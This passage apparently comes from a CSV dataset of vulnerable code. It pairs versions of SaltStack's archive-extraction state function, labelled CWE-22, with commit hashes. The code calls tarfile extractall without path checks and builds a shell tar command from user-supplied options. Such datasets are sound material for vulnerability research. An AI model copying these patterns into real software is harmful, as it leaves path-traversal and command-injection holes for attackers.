            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Location where archive should be extracted

    password
        Password to use with password protected zip files. Currently only zip
        files with passwords are supported.

        .. versionadded:: 2016.3.0

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    archive_format
        ``tar``, ``zip`` or ``rar``

    user
        The user to own each extracted file.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.

    group
        The group to own each extracted file.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This can be helpful if the archive
        extracts all files into a subfolder. This path can be either a
        directory or a file, so this option can also be used to check for a
        semaphore file and conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.

    tar_options
        If ``archive_format`` is set to ``tar``, this option can be used to
        specify a string of additional arguments to pass to the tar command. If
        ``archive_format`` is set to ``tar`` and this option is *not* used,
        then the minion will attempt to use Python's native tarfile_ support to
        extract it. Python's native tarfile_ support can only handle gzip and
        bzip2 compression, however.

        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed archives no longer require ``J`` to manually be set
            in the ``tar_options``, they are now detected automatically and
            Salt will extract them using ``xz-utils``. This is a more
            platform-independent solution, as not all tar implementations
            support the ``J`` argument for extracting archives.

        .. note::
            Main operators like -x, --extract, --get, -c and -f/--file **should
            not be used** here.

            Using this option means that the ``tar`` command will be used,
            which is less platform-independent, so keep this in mind when using
            this option; the options must be valid options for the ``tar``
            implementation on the minion's OS.

        .. _tarfile: https://docs.python.org/2/library/tarfile.html

    zip_options
        Optional when using ``zip`` archives, ignored when usign other archives
        files. This is mostly used to overwrite exsiting files with ``o``.
        This options are only used when ``unzip`` binary is used.

        .. versionadded:: 2016.3.1

    keep
        Keep the archive in the minion's cache

    trim_output
        The number of files we should output on success before the rest are
        trimmed, if this is set to True then it will default to 100

        .. versionadded:: 2016.3.0

    use_cmd_unzip
        When archive_format is zip, setting this flag to True will use the archive.cmd_unzip module function

        .. versionadded:: Boron

    kwargs
        kwargs to pass to the archive.unzip or archive.unrar function

        .. versionadded:: Boron
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if source_hash and source_hash_update:
        hash = source_hash.split(""="")
        source_file = '{0}.{1}'.format(os.path.basename(source), hash[0])
        hash_fname = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            source_file)
        if compareChecksum(hash_fname, name, hash[1]):
            ret['result'] = True
            ret['comment'] = 'Hash {0} has not changed'.format(hash[1])
            return ret
    elif (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(re.sub('[:/\\\\]', '_', if_missing),
                                             archive_format))

    if __opts__['test']:
        source_match = source
    else:
        try:
            source_match = __salt__['file.source_list'](source,
                                                        source_hash,
                                                        __env__)[0]
        except CommandExecutionError as exc:
            ret['result'] = False
            ret['comment'] = exc.strerror
            return ret

    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                '{0} {1} would be downloaded to cache'.format(
                    'One of' if not isinstance(source_match, six.string_types)
                        else 'Archive',
                    source_match
                )
            return ret

        log.debug('%s is not in cache, downloading it', source_match)
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(six.iterkeys(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive %s is already in cache', source)

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = '{0} {1} would be extracted to {2}'.format(
                'One of' if not isinstance(source_match, six.string_types)
                    else 'Archive',
                source_match,
                name
            )
        return ret

    created_destdir = False
    if __salt__['file.file_exists'](name.rstrip('/')):
        ret['result'] = False
        ret['comment'] = ('{0} exists and is not a directory'
                          .format(name.rstrip('/')))
        return ret
    elif not __salt__['file.directory_exists'](name):
        __salt__['file.makedirs'](name, user=archive_user)
        created_destdir = True

    log.debug('Extracting {0} to {1}'.format(filename, name))
    if archive_format == 'zip':
        if use_cmd_unzip:
            files = __salt__['archive.cmd_unzip'](filename, name, options=zip_options, trim_output=trim_output, **kwargs)
        else:
            files = __salt__['archive.unzip'](filename, name, options=zip_options, trim_output=trim_output, password=password, **kwargs)
    elif archive_format == 'rar':
        files = __salt__['archive.unrar'](filename, name, trim_output=trim_output, **kwargs)
    else:
        if tar_options is None:
            try:
                with closing(tarfile.open(filename, 'r')) as tar:
                    files = tar.getnames()
                    tar.extractall(name)
            except tarfile.ReadError:
                if salt.utils.which('xz'):
                    if __salt__['cmd.retcode'](['xz', '-l', filename],
                                               python_shell=False,
                                               ignore_retcode=True) == 0:
                        # XZ-compressed data
                        log.debug(
                            'Tar file is XZ-compressed, attempting '
                            'decompression and extraction using xz-utils '
                            'and the tar command'
                        )
                        # Must use python_shell=True here because not all tar
                        # implementations support the -J flag for decompressing
                        # XZ-compressed data. We need to dump the decompressed
                        # data to stdout and pipe it to tar for extraction.
                        cmd = 'xz --decompress --stdout {0} | tar xvf -'
                        results = __salt__['cmd.run_all'](
                            cmd.format(_cmd_quote(filename)),
                            cwd=name,
                            python_shell=True)
                        if results['retcode'] != 0:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['changes'] = results
                            return ret
                        if _is_bsdtar():
                            files = results['stderr']
                        else:
                            files = results['stdout']
                    else:
                        # Failed to open tar archive and it is not
                        # XZ-compressed, gracefully fail the state
                        if created_destdir:
                            _cleanup_destdir(name)
                        ret['result'] = False
                        ret['comment'] = (
                            'Failed to read from tar archive using Python\'s '
                            'native tar file support. If archive is '
                            'compressed using something other than gzip or '
                            'bzip2, the \'tar_options\' parameter may be '
                            'required to pass the correct options to the tar '
                            'command in order to extract the archive.'
                        )
                        return ret
                else:
                    if created_destdir:
                        _cleanup_destdir(name)
                    ret['result'] = False
                    ret['comment'] = (
                        'Failed to read from tar archive. If it is '
                        'XZ-compressed, install xz-utils to attempt '
                        'extraction.'
                    )
                    return ret
        else:
            try:
                tar_opts = tar_options.split(' ')
            except AttributeError:
                tar_opts = str(tar_options).split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for position, opt in enumerate(tar_opts):
                if opt.startswith('-'):
                    tar_longopts.append(opt)
                else:
                    if position > 0:
                        tar_longopts.append(opt)
                    else:
                        append_opt = opt
                        append_opt = append_opt.replace('x', '').replace('f', '')
                        tar_shortopts = tar_shortopts + append_opt

            if __grains__['os'] == 'OpenBSD':
                tar_shortopts = '-' + tar_shortopts

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if _is_bsdtar():
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    # Recursively set user and group ownership of files after extraction.
    # Note: We do this here because we might not have access to the cachedir.
    if user or group:
        if os.path.isdir(if_missing):
            recurse = []
            if user:
                recurse.append('user')
            if group:
                recurse.append('group')
            dir_result = __salt__['state.single']('file.directory',
                                                  if_missing,
                                                  user=user,
                                                  group=group,
                                                  recurse=recurse)
            log.debug('file.directory: %s', dir_result)
        elif os.path.isfile(if_missing):
            log.debug('if_missing (%s) is a file, not enforcing user/group '
                      'permissions', if_missing)

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
        if not keep:
            os.unlink(filename)
        if source_hash and source_hash_update:
            updateChecksum(hash_fname, name, hash[1])

    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)
    return ret",CWE-22,saltstack/salt,c43bd8fabeedb7cd0ca8dcc345d2bbb579080e00,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              password=None,
              user=None,
              group=None,
              tar_options=None,
              zip_options=None,
              source_hash=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              source_hash_update=None,
              use_cmd_unzip=False,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    Example, tar with flag for lmza compression:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    Example, tar with flag for verbose output:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - user: root
            - group: root
            - if_missing: /opt/graylog2-server-0.9.6p1/

    Example, tar with flag for lmza compression and update based if source_hash differs from what was
    previously extracted:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - source_hash_update: true
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Location where archive should be extracted

    password
        Password to use with password protected zip files. Currently only zip
        files with passwords are supported.

        .. versionadded:: 2016.3.0

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    archive_format
        ``tar``, ``zip`` or ``rar``

    user
        The user to own each extracted file.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.

    group
        The group to own each extracted file.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This can be helpful if the archive
        extracts all files into a subfolder. This path can be either a
        directory or a file, so this option can also be used to check for a
        semaphore file and conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.

    tar_options
        If ``archive_format`` is set to ``tar``, this option can be used to
        specify a string of additional arguments to pass to the tar command. If
        ``archive_format`` is set to ``tar`` and this option is *not* used,
        then the minion will attempt to use Python's native tarfile_ support to
        extract it. Python's native tarfile_ support can only handle gzip and
        bzip2 compression, however.

        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed archives no longer require ``J`` to manually be set
            in the ``tar_options``, they are now detected automatically and
            Salt will extract them using ``xz-utils``. This is a more
            platform-independent solution, as not all tar implementations
            support the ``J`` argument for extracting archives.

        .. note::
            Main operators like -x, --extract, --get, -c and -f/--file **should
            not be used** here.

            Using this option means that the ``tar`` command will be used,
            which is less platform-independent, so keep this in mind when using
            this option; the options must be valid options for the ``tar``
            implementation on the minion's OS.

        .. _tarfile: https://docs.python.org/2/library/tarfile.html

    zip_options
        Optional when using ``zip`` archives, ignored when usign other archives
        files. This is mostly used to overwrite exsiting files with ``o``.
        This options are only used when ``unzip`` binary is used.

        .. versionadded:: 2016.3.1

    keep
        Keep the archive in the minion's cache

    trim_output
        The number of files we should output on success before the rest are
        trimmed, if this is set to True then it will default to 100

        .. versionadded:: 2016.3.0

    use_cmd_unzip
        When archive_format is zip, setting this flag to True will use the archive.cmd_unzip module function

        .. versionadded:: Boron

    kwargs
        kwargs to pass to the archive.unzip or archive.unrar function

        .. versionadded:: Boron
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if source_hash and source_hash_update:
        hash = source_hash.split(""="")
        source_file = '{0}.{1}'.format(os.path.basename(source), hash[0])
        hash_fname = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            source_file)
        if compareChecksum(hash_fname, name, hash[1]):
            ret['result'] = True
            ret['comment'] = 'Hash {0} has not changed'.format(hash[1])
            return ret
    elif (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(re.sub('[:/\\\\]', '_', if_missing),
                                             archive_format))

    if __opts__['test']:
        source_match = source
    else:
        try:
            source_match = __salt__['file.source_list'](source,
                                                        source_hash,
                                                        __env__)[0]
        except CommandExecutionError as exc:
            ret['result'] = False
            ret['comment'] = exc.strerror
            return ret

    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                '{0} {1} would be downloaded to cache'.format(
                    'One of' if not isinstance(source_match, six.string_types)
                        else 'Archive',
                    source_match
                )
            return ret

        log.debug('%s is not in cache, downloading it', source_match)
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(six.iterkeys(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive %s is already in cache', source)

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = '{0} {1} would be extracted to {2}'.format(
                'One of' if not isinstance(source_match, six.string_types)
                    else 'Archive',
                source_match,
                name
            )
        return ret

    created_destdir = False
    if __salt__['file.file_exists'](name.rstrip('/')):
        ret['result'] = False
        ret['comment'] = ('{0} exists and is not a directory'
                          .format(name.rstrip('/')))
        return ret
    elif not __salt__['file.directory_exists'](name):
        __salt__['file.makedirs'](name, user=archive_user)
        created_destdir = True

    log.debug('Extracting {0} to {1}'.format(filename, name))
    if archive_format == 'zip':
        if use_cmd_unzip:
            files = __salt__['archive.cmd_unzip'](filename, name, options=zip_options, trim_output=trim_output, **kwargs)
        else:
            files = __salt__['archive.unzip'](filename, name, options=zip_options, trim_output=trim_output, password=password, **kwargs)
    elif archive_format == 'rar':
        files = __salt__['archive.unrar'](filename, name, trim_output=trim_output, **kwargs)
    else:
        if tar_options is None:
            try:
                with closing(tarfile.open(filename, 'r')) as tar:
                    files = tar.getnames()
                    tar.extractall(name)
            except tarfile.ReadError:
                if salt.utils.which('xz'):
                    if __salt__['cmd.retcode'](['xz', '-l', filename],
                                               python_shell=False,
                                               ignore_retcode=True) == 0:
                        # XZ-compressed data
                        log.debug(
                            'Tar file is XZ-compressed, attempting '
                            'decompression and extraction using xz-utils '
                            'and the tar command'
                        )
                        # Must use python_shell=True here because not all tar
                        # implementations support the -J flag for decompressing
                        # XZ-compressed data. We need to dump the decompressed
                        # data to stdout and pipe it to tar for extraction.
                        cmd = 'xz --decompress --stdout {0} | tar xvf -'
                        results = __salt__['cmd.run_all'](
                            cmd.format(_cmd_quote(filename)),
                            cwd=name,
                            python_shell=True)
                        if results['retcode'] != 0:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['changes'] = results
                            return ret
                        if _is_bsdtar():
                            files = results['stderr']
                        else:
                            files = results['stdout']
                    else:
                        # Failed to open tar archive and it is not
                        # XZ-compressed, gracefully fail the state
                        if created_destdir:
                            _cleanup_destdir(name)
                        ret['result'] = False
                        ret['comment'] = (
                            'Failed to read from tar archive using Python\'s '
                            'native tar file support. If archive is '
                            'compressed using something other than gzip or '
                            'bzip2, the \'tar_options\' parameter may be '
                            'required to pass the correct options to the tar '
                            'command in order to extract the archive.'
                        )
                        return ret
                else:
                    if created_destdir:
                        _cleanup_destdir(name)
                    ret['result'] = False
                    ret['comment'] = (
                        'Failed to read from tar archive. If it is '
                        'XZ-compressed, install xz-utils to attempt '
                        'extraction.'
                    )
                    return ret
        else:
            try:
                tar_opts = tar_options.split(' ')
            except AttributeError:
                tar_opts = str(tar_options).split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for position, opt in enumerate(tar_opts):
                if opt.startswith('-'):
                    tar_longopts.append(opt)
                else:
                    if position > 0:
                        tar_longopts.append(opt)
                    else:
                        append_opt = opt
                        append_opt = append_opt.replace('x', '').replace('f', '')
                        tar_shortopts = tar_shortopts + append_opt

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if _is_bsdtar():
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    # Recursively set user and group ownership of files after extraction.
    # Note: We do this here because we might not have access to the cachedir.
    if user or group:
        if os.path.isdir(if_missing):
            recurse = []
            if user:
                recurse.append('user')
            if group:
                recurse.append('group')
            dir_result = __salt__['state.single']('file.directory',
                                                  if_missing,
                                                  user=user,
                                                  group=group,
                                                  recurse=recurse)
            log.debug('file.directory: %s', dir_result)
        elif os.path.isfile(if_missing):
            log.debug('if_missing (%s) is a file, not enforcing user/group '
                      'permissions', if_missing)

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
        if not keep:
            os.unlink(filename)
        if source_hash and source_hash_update:
            updateChecksum(hash_fname, name, hash[1])

    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)
    return ret"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[file_result.iterkeys().next()]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar x{0} -f {1!r}'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret",CWE-22,saltstack/salt,3b89cff0d761692536c27c88e32678e2c1246298,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[file_result.iterkeys().next()]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar x{0} -f {1!r}'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tensorflow/__init__.py,0,"def _patch_implementation(
            self, original, inst, *args, **kwargs
        ):  # pylint: disable=arguments-differ
            unlogged_params = [""self"", ""x"", ""y"", ""callbacks"", ""validation_data"", ""verbose""]

            batch_size = None
            try:
                is_single_input_model = isinstance(inst.input_shape, tuple)
                training_data = kwargs[""x""] if ""x"" in kwargs else args[0]
                if isinstance(training_data, tensorflow.data.Dataset) and hasattr(
